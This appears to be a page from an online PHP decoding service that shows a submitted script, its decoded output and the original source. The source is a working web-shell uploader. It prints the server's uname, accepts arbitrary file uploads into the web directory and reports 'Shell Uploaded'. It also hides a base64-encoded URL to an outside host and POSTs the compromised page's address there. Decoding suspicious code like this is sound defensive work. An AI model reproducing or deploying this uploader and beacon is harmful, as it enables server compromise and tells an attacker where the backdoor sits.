Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo '<title>! Uploader !</title>'; echo '<center><b><font face="Courier new" colo..

Decoded Output download

<title>! Uploader !</title><center><b><font face="Courier new" color="black" size="6">| Uploader |</b></font><br><b>Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686</b><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>

Did this file decode correctly?

Original Code

<?php
echo '<title>! Uploader !</title>';
echo '<center><b><font face="Courier new" color="black" size="6">| Uploader |</b></font><br>';
echo "<b>".php_uname()."</b><br>";
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Shell Uploaded ! :)<b><br><br>'; }
else { echo '<b>Not uploaded ! </b><br><br>';}
}
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);
?>

Function Calls

php_uname 1
base64_decode 1
http_build_query 1

Variables

$cur http://NoneNone
$data [{'key': 'file_url', 'value': 'http://NoneNone'}]
$k3yw https://siyahi.top/test/style.php

Stats

MD5 38deda0d2b53b6acb9f1234cb67fbc67
Eval Count 0
Decode Time 62 ms